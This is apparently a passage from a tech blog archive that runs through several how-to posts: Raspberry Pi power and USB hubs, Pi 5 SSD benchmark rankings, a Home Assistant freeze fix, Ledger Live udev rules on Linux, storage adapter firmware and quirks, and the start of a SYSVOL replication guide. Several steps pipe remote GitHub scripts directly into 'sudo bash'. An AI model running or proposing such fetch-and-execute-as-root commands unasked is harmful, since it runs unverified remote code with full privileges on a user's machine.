Oversized Power Adapter Solution This solution will work for setups that are right on the border of having enough and not having enough power. An example would be if you can get a stable boot but are getting occasional lockups/freezes when the power dips just below the threshold it needs. If you are using a powerful NVMe drive/enclosure combo like the ICY BOX with a high performance Samsung NVMe drive even with the extra 500 mA it will still not even boot. I have had these oversized adapters and they are great but for a very powerful drive/adapter combination you are going to need more than 500 mA. It’s a lot less extra wires and one less AC plug though if you are right on the border and just need a little bit more. It will depend on your individual drive/adapter combo whether it’s enough or you will have to go full powered USB hub! CanaKit 3.5A Power Adapter The CanaKit 3.5A adapter has an extra half an amp (500 mA) of capacity to give some breathing room to your accessories. This is bigger than the official Pi power supply which provides 3.0A. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.sg* In previous articles readers have told me that this specific adapter can be hard to find outside of North America. I tried to link to as many regions as I could find it in but there should be something equivalent in your region (it just likely won’t be specifically designed for the Pi but will be a more generic USB-C charger). Look for a USB-C power supply rated to supply around 3.5A. 3.0A or lower won’t do much good as that is almost certainly what you already are using. You can use a higher one (at your own risk). The largest one I’ve ever used is my Dell laptop’s 30W USB-C power adapter. It’s probably not a good idea to go too much bigger than this or to even use one this big over the long term (I didn’t, just for occasional testing and as a emergency backup) but USB-C does have some specification improvements related to power management that seem to provide some flexibility here. Power Limits The Pi can only pass through a limited amount of extra power. On the Pi 4 this is up to 1.2A of extra power for peripherals (combined) on top of the board’s 3.0A power rating. This is much more than the Pi 2 and some other previous models could do which was only around 0.5A. This also means that getting a power adapter bigger than about 4.2A of rated current is pointless because the Pi won’t allow any more power to flow through to the board to the peripherals through USB anyway even if it’s available. I’m oversimplifying a little bit to illustrate the point but if you want the full technical details they are available here in the Raspberry Pi USB documentation. The important takeaway is that going much above 3.5-4.0A or so will not actually provide any more power to the Pi because of these limits. If you’ve hit this ceiling and it still isn’t enough you need to go powered USB hub. I’ve also used ones that charge cell phones to power Pis before and these ones are the most likely to fall into a range close to what the Pi uses. Most of the ones I had around the house for phones were 2.5A (just barely not enough) or 3.0A so it was enough for a backup spare but not enough to provide extra power. Nevertheless, it’s definitely worth it to check what you already have around and see if there are USB-C chargers around to test with! Note that a powered USB hub essentially bypasses these limits because the power for your peripherals such as your USB storage will come from the AC adapter connection to the powered USB hub instead of the Pi having to provide that power. Powered USB Hub Troubleshooting Most hubs including the Sabrent one above can feed back power into the Pi which can cause it to not boot when the power is connected. The reason for this is that the Pi is detecting power and is trying to power on using that source but the current provided isn’t enough for the Pi to actually boot. The solution to this is to remove the USB hub’s connection from your Pi momentarily and then connect the power. Plug your USB hub back in quickly after reconnecting the Pi’s power (if you have native USB booting set up) and unless you really fumble with reconnecting it you will have it plugged in well before it tries to boot from the SSD! If this trick doesn’t work then unfortunately you may have a powered USB hub that is not going to work with the Pi. It’s worth checking to see if there are any firmware updates available for your USB hub before you give up on it as some readers have let me know in the comments of previous articles that they were able to get some hubs working after a firmware upgrade! Other Resources If you’ve having firmware problems with your Pi such as it blinking and refusing to do anything else or know that your firmware is very old (from before native USB booting was added) check out my Raspberry Pi Bootloader Firmware Update / Restore Guide To check out the best storage adapters to use with your Pi check out my Best Working Storage Adapters Guide here #### Fastest Raspberry Pi 5 Storage Benchmark Results Pi Benchmarks – 100,000 tests! Pi Benchmarks has officially passed over 100,000 tests submitted! The site’s earliest tests started in early 2019 giving us over 5 years worth of real world testing by the single board computer (SBC) community across different boards. Today we are going to cover the fastest combinations of hardware on the Raspberry Pi 5 to achieve the absolute highest storage scores and performance possible (and the top result *will* surprise you). Let’s get started! Table of Contents Toggle Best SSDsTop SSD Result #3 – Corsair MP600 MiniTop SSD Result #2 – Corsair MP600 GSTop SSD Result #1 – Intel Optane P1600XWhat Is / Was Intel Optane?If it’s so fast on the Raspberry Pi should I use Optane in my PC?Should I get Optane for my Raspberry Pi 5?Best AdaptersTop PerformingBudget ChoicesGeekworm X1001Geekworm X1002Testing Your Own StorageCurrent Benchmark ResultsWhat is the absolute fastest storage for Raspberry Pi 5 according to benchmarks?Why does a discontinued Intel Optane drive beat newer PCIe 5.0 SSDs?Which M.2 expansion hats are recommended for Pi 5? Best SSDs Top SSD Result #3 – Corsair MP600 Mini Rank:#3Popularity:#84# Tests:182Brand:Corsair MP600 MiniAmazon AliExpress*AverageHighLow62,18768,87020,409 This is a very practical drive choice for the Raspberry Pi 5. It is meant to go into compact devices and is designed for use with things like the Steam Deck, Microsoft Surface, etc. The drive’s technical size is a M.2 2230 (as opposed to the standard / full size of M.2 2280). This is also a popular drive choice for alternative boards such as the Orange Pi 5. The drive is also a PCIe gen 4.0 but lists backwards compatibility as a primary design choice (and it does indeed work very well in backwards compatible mode with devices like the Pi). This is a highly recommended drive. Top SSD Result #2 – Corsair MP600 GS Rank:#2Popularity:#172# Tests:86Brand:Corsair MP600 GSAmazon AliExpress*AverageHighLow63,32168,21443,474 This is another very practical drive choice for the Raspberry Pi 5. It is a bigger, full size drive but you will save about $20 (at time of writing) over the MP600 Mini version. The GS version is a bit of a budget version as the MP600 non-GS version can do 4950 MB/s while the GS version does 4800 MB/s. This difference is absolutely negligible so if you aren’t going to get the MP600 mini version I would go with the GS. The Raspberry Pi 5 can’t take advantage of the faster PCIe 4.0 speeds anyway so there will be no practical difference on the device. The drive’s average scores are very close. Don’t be surprised if you are reading this article 6 months after publishing if they’ve flipped slightly on the charts! Top SSD Result #1 – Intel Optane P1600X So far the list has been pretty straightforward. It’s dominated by the newest models of PCIe 4.0/5.0 drives which is exactly what we would expect. Until now. Ladies and gentleman, the fastest Raspberry Pi 5 storage device in the entire world is: the Intel Optane P1600X?! What?!! Rank:#1Popularity:#80# Tests:186Brand:Intel Optane P1600X SeriesAmazon AliExpress*AverageHighLow69,00878,88722,760 The ingenuity and resourcefulness of the Raspberry Pi and single board computer community never cease to amaze me. While this is a surprising result it actually makes perfect sense. To understand why we need to understand what Intel Optane is (or was). What Is / Was Intel Optane? Intel Optane was a attempt to create and promote a tier of memory that’s a little slower than RAM but had the virtues of persistence and high IOPS. It was discontinued in July of 2022. In other words, it was meant to be essentially a cache that is faster than your disk but slower than your RAM. It was designed to bridge the gap between disk and RAM (and thus has some characteristics of both). This replacement technology needed to have extremely fast random read/write speeds to be effective. To accomplish this Intel and Micron worked together to make a new type of non-volatile RAM called 3D XPoint (non-volatile just means when you reboot the computer or it loses power the contents aren’t lost like they are with regular memory). 3D XPoint technology is the reason that the Intel Optane P1600X is absolutely stomping brand new PCIe 4.0/5.0 SSDs. This drive is *not* a traditional SSD. It’s actually a special type of RAM that doesn’t lose it’s contents when the computer is shut down and performs *extremely* well on random read/write performance (PERFECT for an operating system). If it’s so fast on the Raspberry Pi should I use Optane in my PC? Nope. The reason these drives are so fast with the Raspberry Pi 5 is because you can’t take advantage of PCIe 4.0/5.0 with a Pi at this time. The throughput of PCIe 4.0/5.0 is much higher than any of these Intel Optane drives are capable of. In other words the only reason that these are the fastest drives for the Raspberry Pi is because the Raspberry Pi 5 can’t utilize the newer higher versions of PCIe (but a modern computer can). You will be better off with a PCIe 4.0/5.0 gen drive in a modern computer than you will with these Optane drives. Intel Optane drives are only PCIe gen 3.0. There are no PCIe 4.0 or 5.0 Optane drives and it’s overwhelmingly likely there never will be as the technology is discontinued. Because of this PCIe version limitation of the Raspberry Pi the extremely high random read/write performance of the older Intel Optane drives make it the fastest drive in the world you can use on a Raspberry Pi 5. The tradeoffs simply are working in the Pis favor with Intel Optane creating this really weird (and temporary) dynamic where if you are still stuck on PCIe 3.0 or lower the special memory used in this SSD is faster than anything else (including sticking a PCIe 4.0 or 5.0 drive into a Pi which can’t utilize the newer technology and throughput). Should I get Optane for my Raspberry Pi 5? Probably not really unless you find ones for a really reasonable price still out there. It’s completely sold out on all major sites like Amazon, etc. Unless you have the most extreme of performance requirements (you’ll know if it applies to you) you’d probably be better off buying a modern PCIe 4.0/5.0 drive even for the Raspberry Pi. If you do have one laying around or find a cheap listing though then yes. As I’ve laid out there is no faster choice you could make to get extremely fast random read/write performance. The Optane drives are generally not very large and capacities range from 16GB to something like 108GB Best Adapters This section will be a little bit easy to cover. Let’s start with the king: Top Performing Pironman 5* This thing is absurd. I’ve been covering Raspberry Pis for a long time and this may be one of the most over the top accessories I’ve ever seen. RGB lighting and an OLED display?! “Enhance your Raspberry Pi 5 with the Pironman 5, crafted from durable aluminum with advanced cooling, NVMe M.2 SSD support, OLED display, customizable RGB lighting, dual standard HDMI ports, and a secure power switch. Assembly is simple with a clear, step-by-step guide, ensuring easy setup. Ideal for NAS, Home Assistant, Media, and Game Centers (Raspberry Pi NOT Included)” There is no arguing with the performance though. Many of the top spots on pibenchmarks.com specifically mention using this enclosure / adapter for their NVMe / storage performance. Budget Choices The X1001 and X1002 adapters for the Raspberry Pi generally range from $12-$15 or so and are much more budget friendly than the Pironman 5 case. They still have several results on the #1 top results page that used this set of adapters. Geekworm X1001 Geekworm X1001* Compatibility: Pi 5 PCIe M.2 HAT only compatible with Raspberry Pi 5 2GB/4GB/8GB SBC, Model: X1001 M2 Key-M NVMe SSD Supported: Support M.2 KEY-M NVMe SSD 2230/2242/2260/2280 length installation; Comes with SSD copper pillar for 2230/2242/2260 Power the X1001 shield directly from the FFC PCIe ribbon; Use the PD 27W power adapter for Raspberry Pi 5 Geekworm X1002 Geekworm X1002* Compatibility: Pi 5 PCIe M.2 HAT Bottom only for Raspberry Pi 5 2GB/4GB/8GB SBC; model: X1002; matching metal case is P580 M.2 Key-M NVMe SSD Supported: Compatible with M.2 Key-M NVMe SSD 2280/2260/2242/2230 length (SSD is not included)NVMe SSD How to Power: Can power the X1002 shield directly from the FFC PCIe ribbon (providing maximum 5W of continuous power), use the PD 27W power supply for Raspberry Pi 5 Testing Your Own Storage Running the benchmark is extremely easy. Run the following command on your Pi: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Current Benchmark Results Pi Benchmarks – Raspberry Pi Storage Benchmarks What is the absolute fastest storage for Raspberry Pi 5 according to benchmarks?The Intel Optane P1600X dominates with a mean community score of 69,008. Its legacy 3D XPoint memory architecture outperforms modern PCIe 4.0/5.0 NVMe drives in random I/O, which is the most critical metric for OS responsiveness.Why does a discontinued Intel Optane drive beat newer PCIe 5.0 SSDs?The Raspberry Pi 5’s current PCIe controller and enclosure limitations cap maximum sustained bandwidth. This bottleneck neutralizes newer SSDs’ raw sequential speed advantages, allowing Optane’s superior random read/write architecture to win.Which M.2 expansion hats are recommended for Pi 5?The Pironman 5* is the premium choice for active cooling and dual drives. For budget builds, the Geekworm X1001* (SATA/NVMe) and X1002* (NVMe only) are the most reliable and widely benchmarked options. #### Fix Home Assistant / HAOS Raspberry Pi USB/SSD Boot Freeze Home Assistant / HAOS There are few things I dislike more in this world than getting questions on my setup guides that I don’t know the answer to, but thanks to an investigation by Bill Schatzow we can strike one of those issues off the list! We’ve had a few comments of people who have encountered this issue over the years. Given that at best only 1% of people who visit the site leave a comment I think it’s safe to say that this issue has plagued thousands of people over the past 10-12 months. Let’s take a look! Table of Contents Toggle Hardware InvolvedThe Issue and SymptomsHow to FixConclusionOther Resources Hardware Involved Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* The Issue and Symptoms The issue manifests in HomeAssistant versions above 5.4 when having a certain version of the Raspberry Pi firmware installed. When using Raspberry Pi 4 with firmware 1.20201022 the system occasionally (typically around 1-5 days) to hard freeze. The freeze leaves no traces: There is no stack trace or anything on the serial console, kernel dmesg seems to be quite (e.g. re-plugging a USB keyboard does not lead to re-enumeration or anything. Also magic sysrq via serial console (break signal) seems not to work at this point. In my testing I use consoleblank=0 to avoid the display output going into suspend mode. Home Assistant OS uses no graphical output, so the default screen shown is just the kernel built in virtual terminal. When the freeze happens, the HDMI screen is stuck on the last screen (e.g. Home Assistant welcome console). The console cursor stops blinking. Official Raspberry Pi Firmware GitHub – Issue 1646 The problem was a change recommended to be made by Broadcom to the firmware that affected a small number of users. Here is the update that Bill gave me on the issue: Just to keep you updated the issue is finally fixed. The fix had nothing to do with the different hardware that was attached to the Pi4 ( Power Supplies, controllers, SSD, etc). Back in Nov. 2020 RPI developers made a change in the firmware (recommended by Broadcom) that effected a small number of users. It has since been corrected and a release was issued in early Jan 2022. If interested you can follow the troubleshooting and fixes here: GitHub Issue #1646 – Raspberry Pi Firmware Legendary Technology Blog – Comment 12688 It sounds like USB booting was not necessarily a requirement to experience this issue. If you’ve experienced it on a SD card it’s worth upgrading to the latest as well. How to Fix To fix this issue you just need to update to the new HAOS “stable” release which has an updated firmware inside that no longer has this issue. Here is one of the developer’s comments: HAOS 7.1 with firmware oldstable_20211201 has now been on our beta channel for several days and got promoted to stable today. Multiple people confirmed that the new firmware/the new OS release fixed the stability issues. So we can consider this issue fixed! Thanks for your help to get this resolved, very much appreciated! GitHub Issues 1646 comments Instructions for how to flash the latest HAOS on Raspberry Pi are available here: HAOS Raspberry Pi Installation Instructions Conclusion Hopefully this is able to reach some of the people that may have been impacted by this issue. I know I’ve personally seen it through the comments here on the site over the years on my various guides involving SSD booting with the Pi. I want to thank Bill Schatzow for doing nearly an 11 month investigation on this issue and since we’ve had a bunch of comments on the site about it I figured I’d post it here. Thanks Bill! Other Resources Best Working SSD / Storage Adapters for Raspberry Pi 4 / 400 Fixing Storage Adapters for Raspberry Pi with Firmware Updates #### Fix Linux Ledger Live USB Connection Ledger Live – “All Good” When installing Ledger Live on Ubuntu 22.04 I ran into an issue where during the genuine check it would not find my device. It was not even prompting for a PIN or showing any activity and would simply time out eventually and fail the check. It turns out that Ledger Live needs some udev rules to work correctly. In this quick guide I’ll cover how to set up and fix Ledger Live in Linux! Table of Contents Toggle Hardware UsedGetting Ledger Live for LinuxFixing Udev RulesAlternative Fix: Launch as sudoConclusionOther Resources Hardware Used Ledger Nano X This version of the Ledger has Bluetooth so you are able to use it with your cell phone Ledger Live app wirelessly. Also holds a charge and has a battery! Links: Amazon.com* Getting Ledger Live for Linux The official URL to get Ledger Live is: https://download.live.ledger.com/latest/linux The file will be a .AppImage file. You want to set this file to executable and run it like this (assuming you saved it to your Downloads folder): cd ~/Downloads chmod +x ledger-live-desktop-2.45.1-linux-x86_64.AppImage ./ledger-live-desktop-2.45.1-linux-x86_64.AppImage You will very likely find that it will fail to connect to your device during the genuine check. Fixing Udev Rules By adding some udev rules to Linux we can fix the USB device permissions issue. Here is the fix: wget -q -O - https://raw.githubusercontent.com/LedgerHQ/udev-rules/master/add_udev_rules.sh | sudo bash This is pulling from the official Ledger GitHub repository so the rules it adds are safe. Once these are added relaunch Ledger Live and try now. You should meet with success! Alternative Fix: Launch as sudo You may also launch the Ledger image as sudo and pass it a special command: sudo ./ledger-live-desktop-2.45.1-linux-x86_64.AppImage This fix will work for some people but many of you will have GPU related errors. One way to work around it is to actually log completely out of your desktop as your regular user and actually sign in as root. It’s not fun or ideal but if the udev rule solution won’t work it’s an option. Conclusion I’m not sure why Ledger’s installer doesn’t take care of this. It seems to impact every Linux install unless they happen to be logged into the GUI as the “root” user already. Nevertheless this fix got mine up and running and working perfectly! Other Resources You may also be interested in my Life as a “Ledger” Wallet Data Breach Victim article especially if you want to get even more upset at Ledger! #### Fixing Storage Adapters for Raspberry Pi via Firmware Updates StarTech USB312SAT3CB* I’ve covered how to get the right type of storage adapter for your Raspberry Pi for years on this site and cataloged storage adapters that both work and don’t work with the Raspberry Pi. Over the years we’ve learned that many of these adapters can be “fixed” with a firmware update to work with the Raspberry Pi. In this article I’ll put together an evolving list of firmware adapters that can be fixed with these updates from my own experience as well as comments people have left over the years! Table of Contents Toggle OverviewWarning / DisclaimerStarTech AdaptersStarTech 2.5″ SATA to USB 3.1 AdapterSabrent AdaptersEC-SNVE*Generic AdaptersJMicron JMS578 FirmwareWatch Out For Power IssuesVerify Drive PerformanceBenchmarking / Testing StorageFix (some) USB Adapter Problems Using QuirksFind Your AdapterApplying QuirksVerifying QuirksOther Resources Overview The preferred and safest way to identify your device is by brand name. This will work if you have a “popular” or “name brand” storage adapter. If you have a generic / unbranded adapter then the next best way is by chipset. We can identify your chipset by using the following command: sudo lsusb This yields the following result: pi@pi:~ $ lsusb Bus 002 Device 002: ID 174c:55aa ASMedia Technology Inc. Name: ASM1051E SATA 6Gb/s bridge, ASM1053E SATA 6Gb/s bridge, ASM1153 SATA 3Gb/s bridge, ASM1153E SATA 6Gb/s bridge Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 04d9:0007 Holtek Semiconductor, Inc. Bus 001 Device 002: ID 2109:3431 VIA Labs, Inc. Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Yours will look similar to mine. I’ve bolded the important line which is our storage adapter. The above result is for the StarTech 2.5″ SATA to USB 3.1 (USB312SAT3CB) adapter. This example is a name brand adapter that will be on the list but if it wasn’t the generic chipset would be the ASMedia ASM1153E chipset for this adapter. Other common chipsets include JMS-578, etc. If you’re confused about which is which use this version of the command to get a lot more detail (including device properties that often make it much easier to identify): sudo lsusb -v This will yield something like this: Bus 002 Device 002: ID 174c:55aa ASMedia Technology Inc. Name: ASM1051E SATA 6Gb/s bridge, ASM1053E SATA 6Gb/s bridge, ASM1153 SATA 3Gb/s bridge, ASM1153E SATA 6Gb/s bridge Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 3.10 bDeviceClass 0 bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 9 idVendor 0x174c ASMedia Technology Inc. idProduct 0x55aa Name: ASM1051E SATA 6Gb/s bridge, ASM1053E SATA 6Gb/s bridge, ASM1153 SATA 3Gb/s bridge, ASM1153E SATA 6Gb/s bridge bcdDevice 1.00 iManufacturer 2 asmedia iProduct 3 ASMT1051 iSerial 1 123456799FA6 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 0x0079 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xc0 Self Powered MaxPower 0mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 8 Mass Storage bInterfaceSubClass 6 SCSI bInterfaceProtocol 80 Bulk-Only iInterface 0 The above example didn’t give us the name “StarTech” anywhere but it did give us some clues. This is identified as a “Mass Storage” interface class device which definitely narrows things down. Your other peripherals will show as the category they are from like mouse, keyboard, etc. You should be able to narrow things down by unplugging everything else from your Pi if you are still having trouble identifying which is which. Many of these updates need to be applied using a Windows machine as that will be the only platform these updates will be offered on from their web site. Some manufacturers have update utilities for multiple platforms available but from what I’ve found if you’re lucky enough they offer them at all it will usually be for Windows. Warning / Disclaimer This is not an entirely risk free procedure. If something goes wrong during a firmware update it is possible to brick it. This doesn’t happen very often but understand it’s possible. If you lose power at the moment you are updating the firmware for example that could definitely do it. There is less risk for the “branded” adapters as these are the manufacturer’s tools intended for the manufacturer’s devices. It’s as safe as it gets but even in these cases things can go wrong (like the examples I mentioned above). There is also some risk that even chipsets identifying as the same chip may have slight variations in how they are actually implemented or which revision they are. Make sure you understand this is not a completely risk free procedure (and carries the same risk as firmware updates on any other device, and a little bit extra risk even for the generics since they may not have been intended for that exact device) before proceeding! StarTech Adapters StarTech 2.5″ SATA to USB 3.1 Adapter StarTech 2.5″ SATA to USB 3.1 Adapter The USB 3.1 variant of the StarTech 2.5″ SATA adapter works well with the Pi 4. The USB 3.0 variant doesn’t have firmware updates available and is not recommended. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* There are a few different variants. Check the tag on your cable to see which exact model you have. usb312sat3cb – USB 3.1 Gen2 Version usb31csat3cb – USB 3.1 Gen1 Version usb3s2sat3cb – USB 3.0 Version – No updates available Click the “downloads” tab and choose “firmware.zip”. This must be ran on a Windows machine. It will update the firmware almost instantly when you launch the program with the adapter plugged in and say “SUCCESS – UNPLUG AND REPLUG THE DEVICE”. Sabrent Adapters Sabrent and Orico both have the worst track records for working storage adapters for the Pi. I don’t recommend them at all but they can sometimes be fixed. The following Sabrent JMicron adapters can be updated with their official tool: EC-SSHD* EC-UASP* EC-UK30* EC-UM3W* EC-DFLT* EC-NVME* EC-TFNE* EC-TFNB* Important Note: After the update the Sabrent adapters often work but usually only with quirks mode enabled (see bottom Quirks section of article). For Sabrent’s version of the JMicron firmware update tool: Sabrent JMicron Update Tool EC-SNVE* PSiler has reported that you can fix UAS support on the EC-SNVE* with a firmware update available at: Sabrent EC-SNVE Download Page For the general Sabrent adapters firmware update list (check if your adapter is listed): Sabrent Firmware Update Download Page Generic Adapters Note with generic adapters there is some risk. These may not necessarily be by the same manufacturer of your device. It usually doesn’t matter as these all have the same storage controller but due to slight variations in the way some manufacturers implement this technology it’s possible it could cause an issue / brick it. Make sure you understand that there is some risk before proceeding! JMicron JMS578 Firmware This is a copy of the JMS578 firmware that has fixed this issue for many people (but not everyone) on the Raspberry Pi. You may still need to enable “quirks mode” (see quirks mode section) even with the updated firmware in some cases. It’s a little bit trickier to use than some of the other ones but not too extraordinarily difficult. You will need the updater utility and the .bin file. Here is the updater utility: ODroid – jms578fwupdater.tgz Here is the JMS578 firmware update: ODroid – jms578_fw_update And finally the how to use the updater utility / instructions here: ODroid Wiki – How to use jms578_fw_update This thread is worth a read as well to see the different types of adapters/chipsets people tried with this and their different results: Raspberry Pi Forums – Topic 245931 Watch Out For Power Issues If you are using a drive that has high power demands a common solution I’ve been recommending for years is to use a Sabrent powered USB hub to power the drive. This eliminates your Pi from having to use it’s own power to power the drive at all. This is often required for higher performance NVMe drives. Sabrent Powered USB 3.0 Hub The Sabrent powered USB hub delivers a whopping 2.5A of dedicated power for your USB attached devices. This is almost as much as the Pi adapter itself is rated for (3.0A). It will easily power the most thirsty of setups such as NVMe enclosures. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.es*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Note: Make sure Amazon doesn’t try to take you to the non-powered version and that it’s the one with the AC adapter that plugs in to provide extra power Verify Drive Performance You can make sure everything is running correctly (and as fast as it should be) by running my quick storage benchmark. You can run the benchmark with the following one-liner: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash This will give you a score you can compare to the other Raspberry Pi Storage Benchmark results and make sure that you are getting an equivalent speed to your peers with the same device! Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Fix (some) USB Adapter Problems Using Quirks Some adapters can be made to work by using USB quirks to disable UAS mode on the drive. This lowers performance, but it’s still much faster than a SD card and your adapter won’t go to waste. Some adapters also require it even with the updated firmware! To find out the quirks we need to find the device ID string for your adapter and then add an entry to cmdline.txt telling the kernel to apply them on boot. Find Your Adapter To apply the quirks we first need to get the adapter id. We will use the sudo lsusb command: $ sudo lsusb Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 002: ID 174c:55aa ASMedia Technology Inc. Name: ASM1051E SATA 6Gb/s bridge, ASM1053E SATA 6Gb/s bridge, ASM1153 SATA 3Gb/s bridge, ASM1153E SATA 6Gb/s bridge Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 002: ID 2109:3431 VIA Labs, Inc. Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub On line 2 we can see my ASM1051E SATA 6Gb/s bridge adapter (it’s the known working StarTech.com 2.5″ SATA to USB 3.0* adapter). You will see something very similar to mine when you run the command and it shouldn’t be too hard to figure out which device it is. If you need more information add a -v switch to make the command sudo lsusb -v. This can sometimes add some additional details to make it easier to figure out which one is your adapter. If you’re still not sure, we have another command that between the two that can narrow things down. Type / paste the following: sudo dmesg | grep usb [0.828535] usb usb3: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 4.19 [0.828568] usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1 [0.828597] usb usb3: Product: DWC OTG Controller [0.828620] usb usb3: Manufacturer: Linux 4.19.75-v7l+ dwc_otg_hcd [0.828644] usb usb3: SerialNumber: fe980000.usb [0.830051] usbcore: registered new interface driver uas [0.830182] usbcore: registered new interface driver usb-storage [0.836488] usbcore: registered new interface driver usbhid [0.836511] usbhid: USB HID core driver [0.971598] usb 1-1: new high-speed USB device number 2 using xhci_hcd [1.154217] usb 1-1: New USB device found, idVendor=2109, idProduct=3431, bcdDevice= 4.20 [1.154254] usb 1-1: New USB device strings: Mfr=0, Product=1, SerialNumber=0 [1.154281] usb 1-1: Product: USB2.0 Hub [1.301989] usb 2-1: new SuperSpeed Gen 1 USB device number 2 using xhci_hcd [1.332965] usb 2-1: New USB device found, idVendor=174c, idProduct=55aa, bcdDevice= 1.00 [1.332999] usb 2-1: New USB device strings: Mfr=2, Product=3, SerialNumber=1 [1.333026] usb 2-1: Product: ASM105x [1.333048] usb 2-1: Manufacturer: ASMT [1.333071] usb 2-1: SerialNumber: 123456789B79F This is the dmesg log showing the hardware detection as hardware is activated on the Pi. If your log is really long you can generate fresh entries by just unplugging a device and plugging it back in and running the command again. Here we can clearly see that the ASM105x is what our StarTech adapter is being detected as. Now we can go back to our first lsusb command and we want the 8 characters from the ID field that comes right after the Device: Bus 002 Device 002: ID 174c:55aa ASMedia Technology Inc. Name: ASM1051E SATA 6Gb/s bridge Our adapter’s ID is: 174c:55aa Applying Quirks To apply the quirks to our USB adapter we are going to edit /boot/cmdline.txt. Type: sudo nano /boot/cmdline.txt We are going to add the following entry into the very front of cmdline.txt: usb-storage.quirks=XXXX:XXXX:u In place of the X’s above you will put in your adapter’s ID that we got before. With the example commands I gave above mine would look like this: usb-storage.quirks=174c:55aa:u. After this my cmdline.txt looks like this (everything should be one continuous line, no line breaks!): usb-storage.quirks=174c:55aa:u console=serial0,115200 console=tty1 root=PARTUUID=d34db33f-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait Now reboot the Pi. If the Pi fails to boot you can plug the SD card into the computer and go to /boot/cmdline.txt and undo the change we did so you can boot back in with your SD card. Verifying Quirks Once you have rebooted after changing cmdline.txt we can verify the quirks have been applied by doing another dmesg | grep usb command: sudo dmesg | grep usb [1.332924] usb 2-1: New USB device found, idVendor=174c, idProduct=55aa, bcdDevice= 1.00 [1.332957] usb 2-1: New USB device strings: Mfr=2, Product=3, SerialNumber=1 [1.332983] usb 2-1: Product: ASM105x [1.333006] usb 2-1: Manufacturer: ASMT [1.333028] usb 2-1: SerialNumber: 123456789B79F [1.335967] usb 2-1: UAS is blacklisted for this device, using usb-storage instead [1.336071] usb 2-1: UAS is blacklisted for this device, using usb-storage instead [1.336103] usb-storage 2-1:1.0: USB Mass Storage device detected [1.336479] usb-storage 2-1:1.0: Quirks match for vid 174c pid 55aa: c00000 [1.336611] scsi host0: usb-storage 2-1:1.0 This time we can see in dmesg that UAS was blacklisted for the device and it has loaded with the usb-storage driver instead. This driver tends to be more compatible with the “problematic adapters” but the performance is usually significantly lower. It’s definitely worth a try though as some adapters do better with the quirks performance-wise. The only way to know for sure is to run a benchmark (see “Verify Drive Performance” section). Other Resources For the CM4 (Compute Module 4) check out Raspberry Pi Compute Module 4 and using real PCI-Express/NVMe on the Pi To find out where to get the 64 bit Raspberry Pi OS beta check out my Where to get 64 bit Raspberry Pi OS article here If you are looking for storage adapters or the best SSDs to use for Raspberry Pi my Best Storage Adapters / SSDs for the Pi 4 / 400 guide should be able to be of some assistance #### Fixing SYSVOL DFS Replication Failures – A Quick Reference Guide Fixing SYSVOL Replication Failures SYSVOL replication failures are one of the domain controller problems that keep IT teams up at night. When SYSVOL stops replicating correctly, Group Policy Objects (GPOs) stop updating, logon scripts fall out of sync, and domain controllers begin serving inconsistent policy data. It’s important to separate this from Active Directory replication issues: AD replication (NTDS) handles users, groups, password changes, and directory objects DFSR (Distributed File System Replication) handles SYSVOL contents like GPO files and scripts If passwords aren’t replicating, that’s an AD replication problem. If GPOs aren’t applying consistently, that’s usually a SYSVOL/DFSR problem. This guide focuses on the most common DFS Replication failure scenarios and the safest ways to fix them. Table of Contents Toggle Diagnosing the StateCheck Active Directory replicationForce DFSR to reread configuration from ADCheck DFSR replicated folder stateCheck DFSR machine configurationFix 1: Resume DFS Replication After Long Offline PeriodsFix 2: Verify SYSVOL Health Before Considering RestoreImportant: dfsrmig.exe Is Not a Repair ToolEmergency Service Restoration (Use With Caution)Common Root CausesLow disk spaceAntivirus interferenceNTFS permission changesLong maintenance outagesQuick Reference Card Diagnosing the State Before fixing anything, determine whether the issue is Active Directory replication or DFS Replication. Check Active Directory replication repadmin /replsummary This shows which domain controllers are replicating successfully and which are failing, along with the time of last successful replication. If AD replication is healthy but GPOs are inconsistent, the issue is likely DFSR/SYSVOL rather than NTDS replication. You can also force AD replication manually: repadmin /syncall /AeP Useful flags /A = sync all naming contexts (all partitions) /e = enterprise-wide (cross-site) /P = push changes outward from this DC This affects AD replication (not DFSR directly) but DFSR depends on AD replication to receive configuration updates. Force DFSR to reread configuration from AD dfsrdiag PollAD This tells the DFS Replication service to immediately re-read its configuration from Active Directory instead of waiting for the normal polling 